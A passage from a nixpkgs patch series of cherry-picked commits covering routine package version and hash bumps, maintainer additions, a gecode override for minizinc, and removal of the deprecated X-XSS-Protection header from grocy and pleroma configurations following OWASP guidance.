+      "https://web.archive.org/web/20250831231045/https://www.warmplace.ru/soft/sunvox/sunvox-${finalAttrs.version}.zip"
     ];
-    hash = "sha256-RmGqko1OLkQb0Oeydpfy4wxzp6iz2MpS7R22d4qjEaE=";
+    hash = "sha256-4GcSNu6ikAGNcPWz5ghrL78U6xrcIUqjFabs26LACRM=";
   };
 
   nativeBuildInputs =

From dc7763c56422185ec7f3346067569a84a5ed27a9 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Sun, 27 Jul 2025 16:50:02 +0200
Subject: [PATCH 4175/4511] snipe-it: 8.2.0 -> 8.2.1

Release notes: https://github.com/grokability/snipe-it/releases/tag/v8.2.1
Full changelog: https://github.com/grokability/snipe-it/compare/v8.2.0...v8.2.1

(cherry picked from commit bf63430dd30072fe5c3aedd2c32e167818e5a48b)
---
 pkgs/by-name/sn/snipe-it/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sn/snipe-it/package.nix b/pkgs/by-name/sn/snipe-it/package.nix
index a40a53373de5..546ddca2587c 100644
--- a/pkgs/by-name/sn/snipe-it/package.nix
+++ b/pkgs/by-name/sn/snipe-it/package.nix
@@ -9,16 +9,16 @@
 
 php84.buildComposerProject2 (finalAttrs: {
   pname = "snipe-it";
-  version = "8.2.0";
+  version = "8.2.1";
 
   src = fetchFromGitHub {
     owner = "grokability";
     repo = "snipe-it";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-mXcc6wSDoO7z2xYUjwn6hU39OBmsZOw4JeZTpwZMMbI=";
+    hash = "sha256-l0FiZZbzY49y2Q5WcCZwJD8YlQbBrOXJkMo7fMlSHxg=";
   };
 
-  vendorHash = "sha256-84kllssopKRAC/Dws+5s6e61/O56B+Uy19jjIV8yLUo=";
+  vendorHash = "sha256-+FUEBZdGu+wC9LW2UWz1wM4PZnJdTAxZU0kRkCzgjJE=";
 
   postInstall = ''
     snipe_it_out="$out/share/php/snipe-it"

From 13748590dc4751e73a03b992dc1a2961a42ea803 Mon Sep 17 00:00:00 2001
From: C4 Patino <c4patino@gmail.com>
Date: Thu, 21 Aug 2025 14:32:11 -0500
Subject: [PATCH 4176/4511] topiary: 0.6.0 -> 0.6.1

(cherry picked from commit 73d3b32c3f4e578347aefb5573b1b6dd0e8c3715)
---
 pkgs/by-name/to/topiary/package.nix | 36 +++++++++++++++++++++++------
 1 file changed, 29 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/to/topiary/package.nix b/pkgs/by-name/to/topiary/package.nix
index 9391a437a739..79439f3a1d25 100644
--- a/pkgs/by-name/to/topiary/package.nix
+++ b/pkgs/by-name/to/topiary/package.nix
@@ -8,22 +8,21 @@
   versionCheckHook,
   nix-update-script,
 }:
-
 rustPlatform.buildRustPackage rec {
   pname = "topiary";
-  version = "0.6.0";
+  version = "0.6.1";
 
   src = fetchFromGitHub {
     owner = "tweag";
     repo = "topiary";
     tag = "v${version}";
-    hash = "sha256-nRVxjdEtYvgF8Vpw0w64hUd1scZh7f+NjFtbTg8L5Qc=";
+    hash = "sha256-CyqZhkzAOqC3xWhwUzCpkDO0UFsO0S4/3sV7zIILiVg=";
   };
 
   nativeBuildInputs = [ installShellFiles ];
   nativeInstallCheckInputs = [ versionCheckHook ];
 
-  cargoHash = "sha256-EqalIF1wx3F/5CiD21IaYsPdks6Mv1VfwL8OTRWsWaU=";
+  cargoHash = "sha256-akAjn9a7dMwjPSNveDY2KJ62evjHCAWpRR3A7Ghkb5A=";
 
   # https://github.com/NixOS/nixpkgs/pull/359145#issuecomment-2542418786
   depsExtraArgs.postBuild = ''
@@ -42,6 +41,31 @@ rustPlatform.buildRustPackage rec {
 
   # Skip tests that cannot be executed in sandbox (operation not permitted)
   checkFlags = [
+    "--skip=formatted_query_tester"
+    "--skip=test_coverage::coverage_input_bash"
+    "--skip=test_coverage::coverage_input_css"
+    "--skip=test_coverage::coverage_input_json"
+    "--skip=test_coverage::coverage_input_nickel"
+    "--skip=test_coverage::coverage_input_ocaml"
+    "--skip=test_coverage::coverage_input_ocamllex"
+    "--skip=test_coverage::coverage_input_openscad"
+    "--skip=test_coverage::coverage_input_sdml"
+    "--skip=test_coverage::coverage_input_toml"
+    "--skip=test_coverage::coverage_input_tree_sitter_query"
+    "--skip=test_coverage::coverage_input_wit"
+    "--skip=test_fmt::fmt_input_bash"
+    "--skip=test_fmt::fmt_input_css"
+    "--skip=test_fmt::fmt_input_json"
+    "--skip=test_fmt::fmt_input_nickel"
+    "--skip=test_fmt::fmt_input_ocaml"
+    "--skip=test_fmt::fmt_input_ocaml_interface"
+    "--skip=test_fmt::fmt_input_ocamllex"
+    "--skip=test_fmt::fmt_input_openscad"
+    "--skip=test_fmt::fmt_input_sdml"
+    "--skip=test_fmt::fmt_input_toml"
+    "--skip=test_fmt::fmt_input_tree_sitter_query"
+    "--skip=test_fmt::fmt_input_wit"
+    "--skip=test_fmt::fmt_queries"
     "--skip=test_fmt_dir"
     "--skip=test_fmt_files"
     "--skip=test_fmt_files_query_fallback"
@@ -50,9 +74,7 @@ rustPlatform.buildRustPackage rec {
     "--skip=test_fmt_stdin_query"
     "--skip=test_fmt_stdin_query_fallback"
     "--skip=test_vis"
-    "--skip=formatted_query_tester"
-    "--skip=input_output_tester"
-    "--skip=coverage_tester"
+    "--skip=test_vis_invalid"
   ];
 
   env.TOPIARY_LANGUAGE_DIR = "${placeholder "out"}/share/queries";

From d8c2bd99a82e4741b974020ba8a78de420d6fec7 Mon Sep 17 00:00:00 2001
From: Diogo Correia <me@diogotc.com>
Date: Mon, 1 Sep 2025 22:30:43 +0100
Subject: [PATCH 4177/4511] {nixos/,}grocy: add diogotcorreia as maintainer

(cherry picked from commit 80f6d365434cb3adc3cf46692e2c7855fb1f6157)
---
 nixos/modules/services/web-apps/grocy.nix | 2 +-
 nixos/tests/grocy.nix                     | 5 ++++-
 pkgs/by-name/gr/grocy/package.nix         | 2 +-
 3 files changed, 6 insertions(+), 3 deletions(-)

diff --git a/nixos/modules/services/web-apps/grocy.nix b/nixos/modules/services/web-apps/grocy.nix
index 23e5844e1761..c0cd4cb67644 100644
--- a/nixos/modules/services/web-apps/grocy.nix
+++ b/nixos/modules/services/web-apps/grocy.nix
@@ -211,7 +211,7 @@ in
   };
 
   meta = {
-    maintainers = with maintainers; [ ];
+    maintainers = with maintainers; [ diogotcorreia ];
     doc = ./grocy.md;
   };
 }
diff --git a/nixos/tests/grocy.nix b/nixos/tests/grocy.nix
index cd675b16de0e..f31c9d6a7c7c 100644
--- a/nixos/tests/grocy.nix
+++ b/nixos/tests/grocy.nix
@@ -2,7 +2,10 @@
 {
   name = "grocy";
   meta = with pkgs.lib.maintainers; {
-    maintainers = [ ma27 ];
+    maintainers = [
+      diogotcorreia
+      ma27
+    ];
   };
 
   nodes.machine =
diff --git a/pkgs/by-name/gr/grocy/package.nix b/pkgs/by-name/gr/grocy/package.nix
index e2647d8a2b31..ee2b76bd91a4 100644
--- a/pkgs/by-name/gr/grocy/package.nix
+++ b/pkgs/by-name/gr/grocy/package.nix
@@ -62,7 +62,7 @@ php.buildComposerProject2 (finalAttrs: {
 
   meta = with lib; {
     license = licenses.mit;
-    maintainers = with maintainers; [ ];
+    maintainers = with maintainers; [ diogotcorreia ];
     description = "ERP beyond your fridge - grocy is a web-based self-hosted groceries & household management solution for your home";
     homepage = "https://grocy.info/";
   };

From c85c6554aabe1ff42f9d38feab7a8f136aeb4948 Mon Sep 17 00:00:00 2001
From: Diogo Correia <me@diogotc.com>
Date: Mon, 1 Sep 2025 22:36:10 +0100
Subject: [PATCH 4178/4511] nixos/grocy: don't set X-XSS-Protection anymore

Part of #438800.

The OWASP recommentation[1] is:

> The X-XSS-Protection header has been deprecated by modern browsers
> and its use can introduce additional security issues on the client
> side. As such, it is recommended to set the header as X-XSS-Protection: 0
> in order to disable the XSS Auditor, and not allow it to take the default
> behavior of the browser handling the response. Please use
> Content-Security-Policy instead.

[1] https://owasp.org/www-project-secure-headers/#x-xss-protection

(cherry picked from commit c1292555085e63c4f31a6ffd5b43ede66297efe7)
---
 nixos/modules/services/web-apps/grocy.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/nixos/modules/services/web-apps/grocy.nix b/nixos/modules/services/web-apps/grocy.nix
index c0cd4cb67644..ce5be95ce6f3 100644
--- a/nixos/modules/services/web-apps/grocy.nix
+++ b/nixos/modules/services/web-apps/grocy.nix
@@ -191,7 +191,6 @@ in
           locations."~ \\.(js|css|ttf|woff2?|png|jpe?g|svg)$".extraConfig = ''
             add_header Cache-Control "public, max-age=15778463";
             add_header X-Content-Type-Options nosniff;
-            add_header X-XSS-Protection "1; mode=block";
             add_header X-Robots-Tag none;
             add_header X-Download-Options noopen;
             add_header X-Permitted-Cross-Domain-Policies none;

From fb92a140f237576da5c89ece278923dcd75a47c5 Mon Sep 17 00:00:00 2001
From: Picnoir <picnoir@alternativebit.fr>
Date: Tue, 2 Sep 2025 10:36:20 +0200
Subject: [PATCH 4179/4511] nixos/tests/pleroma: rm x-xss-protection

See https://github.com/NixOS/nixpkgs/issues/438800

(cherry picked from commit f2edbb6a16749b45f82bc47ead9eb98bb4b1b81a)
---
 nixos/tests/pleroma.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/nixos/tests/pleroma.nix b/nixos/tests/pleroma.nix
index fa5f88068719..570303f37b0e 100644
--- a/nixos/tests/pleroma.nix
+++ b/nixos/tests/pleroma.nix
@@ -244,7 +244,6 @@ import ./make-test-python.nix (
                     if ($request_method = OPTIONS) {
                         return 204;
                     }
-                    add_header X-XSS-Protection "1; mode=block";
                     add_header X-Permitted-Cross-Domain-Policies none;
                     add_header X-Frame-Options DENY;
                     add_header X-Content-Type-Options nosniff;

From 2eb5bb508734a5f6a824b82e56dcbf50d3f142c2 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sat, 30 Aug 2025 21:20:53 -0600
Subject: [PATCH 4180/4511] testdisk{,-qt}: 7.1 -> 7.2

(cherry picked from commit bfa50e7ba6cd7ca539beb329d1196fe0a0fb3ece)
---
 pkgs/tools/system/testdisk/default.nix       | 19 +++++++++----------
 pkgs/tools/system/testdisk/gcc-14-fixes.diff | 15 ---------------
 2 files changed, 9 insertions(+), 25 deletions(-)
 delete mode 100644 pkgs/tools/system/testdisk/gcc-14-fixes.diff

diff --git a/pkgs/tools/system/testdisk/default.nix b/pkgs/tools/system/testdisk/default.nix
index ff23b602c00d..b6b9c97afa58 100644
--- a/pkgs/tools/system/testdisk/default.nix
+++ b/pkgs/tools/system/testdisk/default.nix
@@ -8,7 +8,7 @@
   pkg-config,
   libjpeg,
   zlib,
-  libewf,
+  libewf-legacy,
   enableNtfs ? !stdenv.hostPlatform.isDarwin,
   ntfs3g ? null,
   enableExtFs ? !stdenv.hostPlatform.isDarwin,
@@ -27,16 +27,12 @@ assert enableQt -> qwt != null;
 
 (if enableQt then mkDerivation else stdenv.mkDerivation) rec {
   pname = "testdisk";
-  version = "7.1";
+  version = "7.2";
   src = fetchurl {
     url = "https://www.cgsecurity.org/testdisk-${version}.tar.bz2";
-    sha256 = "1zlh44w67py416hkvw6nrfmjickc2d43v51vcli5p374d5sw84ql";
+    hash = "sha256-+DQ74gy0ABxdkaLjvNkYOY8Arm2DEIlKWp8v64E8KD8=";
   };
 
-  patches = [
-    ./gcc-14-fixes.diff
-  ];
-
   postPatch = ''
     substituteInPlace linux/qphotorec.desktop \
       --replace "/usr" "$out"
@@ -49,7 +45,7 @@ assert enableQt -> qwt != null;
     libuuid
     libjpeg
     zlib
-    libewf
+    libewf-legacy
   ]
   ++ lib.optional enableNtfs ntfs3g
   ++ lib.optional enableExtFs e2fsprogs
@@ -63,7 +59,7 @@ assert enableQt -> qwt != null;
 
   env.NIX_CFLAGS_COMPILE = "-Wno-unused";
 
-  meta = with lib; {
+  meta = {
     homepage = "https://www.cgsecurity.org/wiki/Main_Page";
     downloadPage = "https://www.cgsecurity.org/wiki/TestDisk_Download";
     description = "Data recovery utilities";
@@ -83,6 +79,9 @@ assert enableQt -> qwt != null;
     '';
     license = lib.licenses.gpl2Plus;
     platforms = lib.platforms.all;
-    maintainers = with maintainers; [ fgaz ];
+    maintainers = with lib.maintainers; [
+      fgaz
+      ryand56
+    ];
   };
 }
diff --git a/pkgs/tools/system/testdisk/gcc-14-fixes.diff b/pkgs/tools/system/testdisk/gcc-14-fixes.diff
deleted file mode 100644
index df4fc9140ead..000000000000
--- a/pkgs/tools/system/testdisk/gcc-14-fixes.diff
+++ /dev/null
@@ -1,15 +0,0 @@
-diff --git a/src/ntfs_io.c b/src/ntfs_io.c
-index 7f57edd..4b718bb 100644
---- a/src/ntfs_io.c
-+++ b/src/ntfs_io.c
-@@ -154,8 +154,8 @@ static int ntfs_device_testdisk_io_stat(struct ntfs_device *dev, struct stat *bu
- 	return -1;
- }
- 
--static int ntfs_device_testdisk_io_ioctl(struct ntfs_device *dev, int request,
--		void *argp)
-+static int ntfs_device_testdisk_io_ioctl(struct ntfs_device *dev,
-+                                         unsigned long request, void *argp)
- {
- 	log_warning( "ntfs_device_testdisk_io_ioctl() unimplemented\n");
- #ifdef ENOTSUP

From 4bdac60bfe32c41103ae500ddf894c258291dd61 Mon Sep 17 00:00:00 2001
From: Vincent Laporte <Vincent.Laporte@gmail.com>
Date: Tue, 19 Aug 2025 11:41:39 +0200
Subject: [PATCH 4181/4511] minizinc: update gecode to 6.3.0

(cherry picked from commit 737ce9d1930c58a3c4c52eaeda9cab345ad5826b)
---
 pkgs/development/tools/minizinc/default.nix    | 18 +++++++++++++++++-
 .../tools/minizinc/simple-test/default.nix     |  7 ++++---
 .../tools/minizinc/simple-test/nqueens.mzn     |  9 +++++++++
 3 files changed, 30 insertions(+), 4 deletions(-)
 create mode 100644 pkgs/development/tools/minizinc/simple-test/nqueens.mzn

diff --git a/pkgs/development/tools/minizinc/default.nix b/pkgs/development/tools/minizinc/default.nix
index 0a2c19584880..d055b8bf4a38 100644
--- a/pkgs/development/tools/minizinc/default.nix
+++ b/pkgs/development/tools/minizinc/default.nix
@@ -13,6 +13,22 @@
   zlib,
 }:
 
+let
+  gecode_6_3_0 = gecode.overrideAttrs (_: {
+    version = "6.3.0";
+    src = fetchFromGitHub {
+      owner = "gecode";
+      repo = "gecode";
+      rev = "f7f0d7c273d6844698f01cec8229ebe0b66a016a";
+      hash = "sha256-skf2JEtNkRqEwfHb44WjDGedSygxVuqUixskTozi/5k=";
+    };
+    patches = [ ];
+  });
+in
+let
+  gecode = gecode_6_3_0;
+in
+
 stdenv.mkDerivation (finalAttrs: {
   pname = "minizinc";
   version = "2.9.3";
@@ -42,7 +58,7 @@ stdenv.mkDerivation (finalAttrs: {
     mkdir -p $out/share/minizinc/solvers/
     jq \
       '.version = "${gecode.version}"
-       | .mznlib = "${gecode}/share/gecode/mznlib"
+       | .mznlib = "${gecode}/share/minizinc/gecode/"
        | .executable = "${gecode}/bin/fzn-gecode"' \
        ${./gecode.msc} \
        >$out/share/minizinc/solvers/gecode.msc
diff --git a/pkgs/development/tools/minizinc/simple-test/default.nix b/pkgs/development/tools/minizinc/simple-test/default.nix
index ee813e09cf00..377b61be3756 100644
--- a/pkgs/development/tools/minizinc/simple-test/default.nix
+++ b/pkgs/development/tools/minizinc/simple-test/default.nix
@@ -12,9 +12,10 @@ stdenv.mkDerivation {
   dontInstall = true;
 
   buildCommand = ''
-    minizinc --solver gecode ${./aust.mzn}
-    minizinc --solver cbc ${./loan.mzn} ${./loan1.dzn}
-    touch $out
+    mkdir -p $out
+    minizinc --solver gecode ${./aust.mzn} | tee $out/aust.log
+    minizinc --solver gecode ${./nqueens.mzn} | tee $out/nqueens.log
+    minizinc --solver cbc ${./loan.mzn} ${./loan1.dzn} | tee $out/loan.log
   '';
 
   meta.timeout = 10;
diff --git a/pkgs/development/tools/minizinc/simple-test/nqueens.mzn b/pkgs/development/tools/minizinc/simple-test/nqueens.mzn
new file mode 100644
index 000000000000..684702dec11a
--- /dev/null
+++ b/pkgs/development/tools/minizinc/simple-test/nqueens.mzn
@@ -0,0 +1,9 @@
+int: n = 8; % The number of queens.
+
+array [1..n] of var 1..n: q;
+
+include "alldifferent.mzn";
+
+constraint alldifferent(q);
+constraint alldifferent(i in 1..n)(q[i] + i);
+constraint alldifferent(i in 1..n)(q[i] - i);

From baa26ee39ebfb347c210dda2c39157eb3ca05fe1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 2 Jul 2025 09:14:47 +0000
Subject: [PATCH 4182/4511] spotify-player: 0.20.5 -> 0.20.6

(cherry picked from commit 652525fb8a49bfcdc63efc5ead50989d0ce62adb)
---
 pkgs/by-name/sp/spotify-player/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sp/spotify-player/package.nix b/pkgs/by-name/sp/spotify-player/package.nix
index af73c55d255a..24e011a406a7 100644
--- a/pkgs/by-name/sp/spotify-player/package.nix
+++ b/pkgs/by-name/sp/spotify-player/package.nix
@@ -46,16 +46,16 @@ assert lib.assertOneOf "withAudioBackend" withAudioBackend [
 
 rustPlatform.buildRustPackage rec {
   pname = "spotify-player";
-  version = "0.20.5";
+  version = "0.20.6";
 
   src = fetchFromGitHub {
     owner = "aome510";
     repo = "spotify-player";
     tag = "v${version}";
-    hash = "sha256-NlMQgVkMVCVrMv4IyFtPmRkAmf2k4F0dp6e8s63aBHg=";
+    hash = "sha256-PYf8Ms0hmG4EWDjb+er6YvY/UFiQbIF6dtCL87O4rOs=";
   };
 
-  cargoHash = "sha256-glQh6PzwJp5o35aXRW4+Pq2iSeGg9vjR5fJQomPpSOc=";
+  cargoHash = "sha256-ec4rIYZsIvYIezDm956aYSM75e/GEoNilVjm40691Ys=";
 
   nativeBuildInputs = [
     pkg-config

From 9280bbc36b6d44608179ca68699fbdb63873bba1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 28 Jul 2025 10:35:31 +0000
Subject: [PATCH 4183/4511] spotify-player: 0.20.6 -> 0.20.7

(cherry picked from commit b9d04091222217474d3ee6c58696be638ca0bffc)
---
 pkgs/by-name/sp/spotify-player/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sp/spotify-player/package.nix b/pkgs/by-name/sp/spotify-player/package.nix
index 24e011a406a7..4125a01bbd51 100644
--- a/pkgs/by-name/sp/spotify-player/package.nix
+++ b/pkgs/by-name/sp/spotify-player/package.nix
@@ -46,16 +46,16 @@ assert lib.assertOneOf "withAudioBackend" withAudioBackend [
 
 rustPlatform.buildRustPackage rec {
   pname = "spotify-player";
-  version = "0.20.6";
+  version = "0.20.7";
 
   src = fetchFromGitHub {
     owner = "aome510";
     repo = "spotify-player";
     tag = "v${version}";
-    hash = "sha256-PYf8Ms0hmG4EWDjb+er6YvY/UFiQbIF6dtCL87O4rOs=";
+    hash = "sha256-g+SU6qDnafLiNOzZ75HUPgifuC8A+rb+KoqJoMHBJ04=";
   };
 
-  cargoHash = "sha256-ec4rIYZsIvYIezDm956aYSM75e/GEoNilVjm40691Ys=";
+  cargoHash = "sha256-rwWSKJMI/4fY60m+vGqTqrTijJN6d0PfQH417Ku9+0E=";
 
   nativeBuildInputs = [
     pkg-config

From e82179b67c2ac1489f96433d14a88889c9cf672b Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 2 Sep 2025 16:41:20 +0200
Subject: [PATCH 4184/4511] spotify-player: 0.20.7 -> 0.21.0

Release Notes:
https://github.com/aome510/spotify-player/releases/tag/v0.21.0

(cherry picked from commit a19e4649f8542b591750b79e59288c1cd5ebeefd)
---
 pkgs/by-name/sp/spotify-player/package.nix | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sp/spotify-player/package.nix b/pkgs/by-name/sp/spotify-player/package.nix
index 4125a01bbd51..290482dce659 100644
--- a/pkgs/by-name/sp/spotify-player/package.nix
+++ b/pkgs/by-name/sp/spotify-player/package.nix
@@ -2,6 +2,7 @@
   lib,
   rustPlatform,
   fetchFromGitHub,
+  fetchpatch,
   pkg-config,
   openssl,
   cmake,
@@ -46,16 +47,24 @@ assert lib.assertOneOf "withAudioBackend" withAudioBackend [
 
 rustPlatform.buildRustPackage rec {
   pname = "spotify-player";
-  version = "0.20.7";
+  version = "0.21.0";
 
   src = fetchFromGitHub {
     owner = "aome510";
     repo = "spotify-player";
     tag = "v${version}";
-    hash = "sha256-g+SU6qDnafLiNOzZ75HUPgifuC8A+rb+KoqJoMHBJ04=";
+    hash = "sha256-nOswrYt9NrzJV6CFBWZCpj/wIJnIgmr3i2TreAKGGPI=";
   };
 
-  cargoHash = "sha256-rwWSKJMI/4fY60m+vGqTqrTijJN6d0PfQH417Ku9+0E=";
+  cargoHash = "sha256-YarKRApcQHom3AQIirqGdmUOuy5B+BRehLijvF/GRPc=";
+
+  patches = [
+    (fetchpatch {
+      name = "fix-build-failure.patch";
+      url = "https://github.com/aome510/spotify-player/commit/77af13b48b2a03e61fef1cffea899929057551dc.patch";
+      hash = "sha256-5q8W0X49iZLYdwrBiZJTESb628VPamrm0zEYwDm8CVk=";
+    })
+  ];
 
   nativeBuildInputs = [
     pkg-config

From ec1a698859adacd37f1add44dcdc6a59fcfbe591 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 31 Aug 2025 12:43:10 +0000
Subject: [PATCH 4185/4511] bup: 0.33.8 -> 0.33.9

(cherry picked from commit 38ca19b24bd48c13153e69cfc191248203bed4a5)
---
 pkgs/by-name/bu/bup/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bu/bup/package.nix b/pkgs/by-name/bu/bup/package.nix
index 61428214a04c..e5069e993889 100644
--- a/pkgs/by-name/bu/bup/package.nix
+++ b/pkgs/by-name/bu/bup/package.nix
@@ -15,7 +15,7 @@
 assert par2Support -> par2cmdline != null;
 
 let
-  version = "0.33.8";
+  version = "0.33.9";
 
   pythonDeps =
     with python3.pkgs;
@@ -38,7 +38,7 @@ stdenv.mkDerivation {
     repo = "bup";
     owner = "bup";
     rev = version;
-    hash = "sha256-FIIzD+7QUwNYhJQhOPzGQxjiSlMsnA6lahh/kn3eGrg=";
+    hash = "sha256-MW4kScu81XW89W7WpvOj40+S8bG5QozN30Hfj4TsnX4=";
   };
 
   buildInputs = [

From b0d16ddd09865f26d4f94ca9cc14f23b6ed02615 Mon Sep 17 00:00:00 2001
From: Yaya <github@uwu.is>
Date: Tue, 2 Sep 2025 14:52:41 +0200
Subject: [PATCH 4186/4511] chunkfs: add yayayayaka to maintainers

(cherry picked from commit 05ca0642647b87001a5f4cc9a46e1458470b0f49)
---
 pkgs/by-name/ch/chunkfs/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ch/chunkfs/package.nix b/pkgs/by-name/ch/chunkfs/package.nix
index 5b7dd92b1745..1709df4f5fb9 100644
--- a/pkgs/by-name/ch/chunkfs/package.nix
+++ b/pkgs/by-name/ch/chunkfs/package.nix
@@ -35,5 +35,6 @@ stdenv.mkDerivation (finalAttrs: {
     homepage = "http://chunkfs.florz.de";
     license = lib.licenses.gpl2Plus;
     platforms = lib.platforms.linux;
+    maintainers = with lib.maintainers; [ yayayayaka ];
   };
 })

From 06820bc36f9b47d5d8e8cdc1d08e768eec77bb8f Mon Sep 17 00:00:00 2001
From: Yaya <github@uwu.is>
Date: Tue, 2 Sep 2025 14:49:46 +0200
Subject: [PATCH 4187/4511] chunksync: add yayayayaka to maintainers

(cherry picked from commit 454bc0b6f8633d9ced60fda73a5ec44f856d9c2b)
---
 pkgs/by-name/ch/chunksync/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ch/chunksync/package.nix b/pkgs/by-name/ch/chunksync/package.nix
index fe49a2747df1..be6909a7e9d5 100644
--- a/pkgs/by-name/ch/chunksync/package.nix
+++ b/pkgs/by-name/ch/chunksync/package.nix
@@ -38,5 +38,6 @@ stdenv.mkDerivation rec {
     homepage = "http://chunksync.florz.de/";
     license = lib.licenses.gpl2Plus;
     platforms = with lib.platforms; linux;
+    maintainers = with lib.maintainers; [ yayayayaka ];
   };
 }

From c370743bb648ff9ac566b5e04c97e386dec1ac82 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 2 Sep 2025 13:03:57 +0000
Subject: [PATCH 4188/4511] warp-terminal: 0.2025.08.27.08.11.stable_03 ->
 0.2025.08.27.08.11.stable_04

(cherry picked from commit 75b4e096025f8eabae77e961366ff56f26398246)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index 5d83b41522ba..5b82bf2517f7 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-A3D+rsbiz0Ai8w350em4jr8C8GJ0jHMrFEdPa0nobCM=",
-    "version": "0.2025.08.27.08.11.stable_03"
+    "hash": "sha256-RCe7St5HGDJS5+O5gmetu55/6F59pu4rs9JnYP7CUpQ=",
+    "version": "0.2025.08.27.08.11.stable_04"
   },
   "linux_x86_64": {
-    "hash": "sha256-E45F+yhU/S+jbYxtTjtumfIaajQBWIGDTtV1b+KZVG8=",
-    "version": "0.2025.08.27.08.11.stable_03"
+    "hash": "sha256-HyjretExpf4mfhTFRP5iCbXtubHxnzjXOvnZkHPvRzY=",
+    "version": "0.2025.08.27.08.11.stable_04"
   },
   "linux_aarch64": {
-    "hash": "sha256-x7HZeZVMrh5sayFghw47jLUO+5ks8U2xUh9eF136YkU=",
-    "version": "0.2025.08.27.08.11.stable_03"
+    "hash": "sha256-XujRlhETOrFv+EmwGFrtZnyfD68vuNRVb7qovmJEOxk=",
+    "version": "0.2025.08.27.08.11.stable_04"
   }
 }

From 2d23d2b2acc896f54f18ece3953195cbe5e5479f Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Sun, 17 Aug 2025 10:58:40 +0200
Subject: [PATCH 4189/4511] packages-config.nix: remove redundant package sets

these package set where already recoursed into

(cherry picked from commit 52e38450f49c2739ef0a2c41f9b8ffc7f9d643cc)
---
 pkgs/top-level/packages-config.nix | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/pkgs/top-level/packages-config.nix b/pkgs/top-level/packages-config.nix
index a30f233c32cd..9a40eb9daba6 100644
--- a/pkgs/top-level/packages-config.nix
+++ b/pkgs/top-level/packages-config.nix
@@ -11,19 +11,15 @@
     with super;
     lib.mapAttrs (_: set: recurseIntoAttrs set) {
       inherit (super)
-        agdaPackages
-        apacheHttpdPackages
         fusePackages
         gns3Packages
         haskellPackages
-        idrisPackages
         nodePackages
         nodePackages_latest
         platformioPackages
         rPackages
         roundcubePlugins
         sourceHanPackages
-        zabbix60
         ;
 
       # Make sure haskell.compiler is included, so alternative GHC versions show up,

From b21e41849e39f06c77eacf671390e08fd0f8d1e3 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Tue, 26 Aug 2025 19:07:00 +0200
Subject: [PATCH 4190/4511] nodePackages{,_latest}: eval and build

(cherry picked from commit 24fe5f5e2e0f57ad62091472eb43c1f1e0a4cec3)
---
 pkgs/top-level/all-packages.nix    | 4 ++--
 pkgs/top-level/packages-config.nix | 2 --
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 3e413f304d2f..67a73685265e 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -3641,9 +3641,9 @@ with pkgs;
 
   importNpmLock = callPackages ../build-support/node/import-npm-lock { };
 
-  nodePackages_latest = dontRecurseIntoAttrs nodejs_latest.pkgs;
+  nodePackages_latest = recurseIntoAttrs nodejs_latest.pkgs;
 
-  nodePackages = dontRecurseIntoAttrs nodejs.pkgs;
+  nodePackages = recurseIntoAttrs nodejs.pkgs;
 
   node2nix = nodePackages.node2nix;
 
diff --git a/pkgs/top-level/packages-config.nix b/pkgs/top-level/packages-config.nix
index 9a40eb9daba6..edd217c539c4 100644
--- a/pkgs/top-level/packages-config.nix
+++ b/pkgs/top-level/packages-config.nix
@@ -14,8 +14,6 @@
         fusePackages
         gns3Packages
         haskellPackages
-        nodePackages
-        nodePackages_latest
         platformioPackages
         rPackages
         roundcubePlugins

From 2928372ee09848c3bd4a7eec665e395a8e91ea5a Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Tue, 26 Aug 2025 19:09:54 +0200
Subject: [PATCH 4191/4511] roundcubePlugins: eval and build

(cherry picked from commit 3b7e1637559ad6fc4977aea459b1749db6cbf688)
---
 pkgs/top-level/all-packages.nix    | 2 +-
 pkgs/top-level/packages-config.nix | 1 -
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 67a73685265e..2cbc48e26745 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -2403,7 +2403,7 @@ with pkgs;
 
   roundcube = callPackage ../servers/roundcube { };
 
